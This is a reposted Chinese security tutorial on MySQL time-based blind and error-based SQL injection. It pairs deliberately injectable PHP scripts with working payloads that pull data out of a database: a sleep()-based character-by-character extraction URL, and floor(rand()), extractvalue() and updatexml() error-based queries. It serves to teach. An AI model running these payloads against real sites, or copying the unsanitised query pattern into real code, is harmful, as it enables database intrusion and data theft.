您的位置:首页 > 数据库 > MySQL

【21】WEB安全学习----MySQL注入-6(时间及报错盲注)

2019-07-11 13:32 246 查看
转载于:https://blog.csdn.net/a15803617402/article/details/82786850

目录

 

基于时间的盲注例子:

注入步骤:

确认注入点

猜解数据

报错注入例子:

注入方法

1.floor()

2.extractvalue()

3.updatexml()

基于时间的盲注例子:

修改代码,无论传入的参数值是否存在或者是SQL语句运行错误都统一输出hello mysql,因为返回的状态只有一种,无法通过布尔真假进行判断,此时可以用时间延迟进行判断,如果运行了时间延迟函数,那么网页会暂停一段时间在返回,此时可以通过网页返回的时间长短进行判断。

  1. <?php
  2. header('content-type:text/html;charset=utf-8');
  3. @$id=$_GET['id']; //传参
  4. if(!isset($id)){
  5. die('请传入GET方法id参数值');
  6. }
  7. $mysqli=new mysqli();
  8. $mysqli->connect('localhost','root','root');
  9. if($mysqli->connect_errno){
  10. die('连接数据库失败:'.$mysqli->connect_error);
  11. }
  12. $mysqli->select_db('user');
  13. if($mysqli->errno){
  14. die('打开数据库失败:'.$mysqli->error);
  15. }
  16. $mysqli->set_charset('utf8');
  17. $sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1";
  18. $result=$mysqli->query($sql);
  19. if(!$result){
  20. //die('执行SQL语句失败:'.$mysqli->error);
  21. echo 'hello mysql';
  22. }else if($result->num_rows==0){
  23. //echo '抱歉!不存在此记录';
  24. echo 'hello mysql';
  25. }else {
  26. //echo '存在此记录';
  27. echo 'hello mysql';
  28. }
[/code]

注入步骤:

确认注入点

因为返回的信息都一样,不能通过运算符进行判断,插入sleep()函数,判断是否被执行。

网页确实超过5秒后才返回

猜解数据

接下来的猜解数据和布尔型盲注一样,只是条件判断变化了一下,不再是返回真假,而是运行sleep()函数,通过网页返回的时间进行判断,此注入需要耗费大量时间。

http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>97,sleep(5),0)%23  网页超过5秒后返回,说明第一个字符ascii码大于97
[/code]

可以用二分搜索法、正则表达式法、按位比较法进行猜解数据。

报错注入例子:

如果网页输出了数据库错误信息,那么此时可以使用报错注入,不需要进行盲注逐字查询了。

此代码只会显示数据库错误信息,ID值是否存在都返回一种状态,此时除了时间盲注,还可以进行报错注入。

  1. <?php
  2. header('content-type:text/html;charset=utf-8');
  3. @$id=$_GET['id']; //传参
  4. if(!isset($id)){
  5. die('请传入GET方法id参数值');
  6. }
  7. $mysqli=new mysqli();
  8. $mysqli->connect('localhost','root','root');
  9. if($mysqli->connect_errno){
  10. die('连接数据库失败:'.$mysqli->connect_error);
  11. }
  12. $mysqli->select_db('user');
  13. if($mysqli->errno){
  14. die('打开数据库失败:'.$mysqli->error);
  15. }
  16. $mysqli->set_charset('utf8');
  17. $sql="SELECT username,passwd FROM users WHERE id={$id}";
  18. $result=$mysqli->query($sql);
  19. if(!$result){
  20. die('执行SQL语句失败:'.$mysqli->error);
  21. }else if($result->num_rows==0){
  22. echo 'hello word';
  23. }else {
  24. echo 'hello word';
  25. }
[/code]

注入方法

可使用网上已存在报错函数的方法,直接套用即可。

1.floor()

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
[/code]

2.extractvalue()

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
[/code]

3.updatexml()

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
[/code]

 

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: